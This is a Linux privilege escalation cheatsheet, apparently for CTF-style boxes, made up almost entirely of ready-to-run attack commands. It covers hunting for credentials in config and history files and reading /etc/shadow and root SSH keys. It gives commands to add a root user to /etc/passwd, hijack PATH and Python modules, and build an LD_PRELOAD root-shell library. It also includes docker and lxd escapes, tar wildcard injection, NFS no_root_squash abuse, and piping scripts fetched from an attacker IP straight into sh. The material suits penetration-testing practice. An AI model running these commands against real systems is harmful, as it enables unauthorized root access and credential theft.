Linux privilege escalation

Work from top to bottom; most easy and medium boxes fall in the first three sections. To exploit a specific binary, see the Linux binaries cheatsheet.

Your values Saved in this browser and applied to every cheatsheet.

Checks

Who and where am I

User and groups
id; whoami; groups
System and kernel
uname -a; cat /etc/os-release
Users with a shell
grep -E 'sh$' /etc/passwd

Sudo, SUID and capabilities

What can I run with sudo
sudo -l
SUID binaries
find / -perm -4000 -type f 2>/dev/null
SGID binaries
find / -perm -2000 -type f 2>/dev/null
Capabilities
getcap -r / 2>/dev/null

cap_setuid, cap_dac_read_search or cap_sys_admin on an interpreter usually mean instant root.

sudo version (CVE-2021-3156, Baron Samedit)
sudo -V | head -1

Jobs and processes

System cron
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
systemd timers
systemctl list-timers --all
Root processes
ps -eo user,pid,cmd --forest | grep -v '\[' | grep ^root
Watch processes as they start (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Without pspy (bash)
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; done

Network and internal services

Ports listening only locally
ss -tulnp | grep 127.0.0.1
Without ss or netstat
for p in $(awk 'NR>1 && $4=="0A" {split($2,a,":"); print a[2]}' /proc/net/tcp | sort -u); do echo $((16#$p)); done

Lists listening ports. To reach them from your machine, see the pivoting cheatsheet.

Credentials

Passwords in config files
grep -rniE '(pass(word)?|pwd|secret|token)\s*[=:]' /var/www /opt /etc /home 2>/dev/null | grep -v '^Binary'
Usual config files
find / \( -name '*.conf' -o -name '*.config' -o -name '.env' -o -name 'wp-config.php' -o -name '*.kdbx' \) -readable 2>/dev/null | grep -vE '^/(proc|sys|usr/share)'
History files
cat ~/.*history 2>/dev/null; ls -la /home/*/
SQLite databases
find / -name '*.db' -o -name '*.sqlite' 2>/dev/null | grep -vE '^/(proc|sys|usr)'
Password reuse
su root

Try every password you find with root and with every other user.

Write permissions

Files I can write outside my home
find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev|run|home|tmp|var/tmp)'
Can I write /etc/passwd?
ls -l /etc/passwd /etc/shadow /etc/sudoers

Automated scripts

linPEAS
curl -L http://10.10.14.5/linpeas.sh | sh

Grab it from github.com/peass-ng/PEASS-ng and serve it with python3 -m http.server 80.

Exploitation

Quick wins

Add a root user if /etc/passwd is writable
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" >> /etc/passwd && su pwn
SUID bash once you have root write
chmod u+s /bin/bash
bash -p

PATH hijacking

When a root script or binary calls a command without an absolute path (ps instead of /bin/ps).

Find calls without a path
strings /usr/local/bin/binario | grep -vE '^/'
Hijack the command
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH

Library hijacking

Hijacked Python module
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py

When sudo runs a Python script that imports random and you can write to its folder (or an earlier sys.path entry).

LD_PRELOAD with sudo (env_keep+=LD_PRELOAD)
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido

Privileged groups

docker
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxd / lxc
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh

You need an imported alpine image (lxc image import) if the box has no internet.

disk
debugfs /dev/sda1

Inside debugfs: cat /etc/shadow or cat /root/.ssh/id_rsa. Find the disk with df -h.

adm (read logs)
grep -riE 'pass|login' /var/log 2>/dev/null

Wildcards and symlinks

tar with a wildcard in a root cron
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
Symlink to a root file
ln -sf /root/.ssh/id_rsa /tmp/fichero_que_copia_root

NFS with no_root_squash

Check the config Target
cat /etc/exports
Create a SUID bash from your machine Attacker
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash

Then, on the target: /shared/bash -p. Copy a bash that matches the target version.

Kernel

PwnKit (pkexec, CVE-2021-4034)
ls -l /usr/bin/pkexec && pkexec --version
DirtyPipe (5.8 to 5.16.11, CVE-2022-0847)
uname -r
Automatic suggestions
./linux-exploit-suggester.sh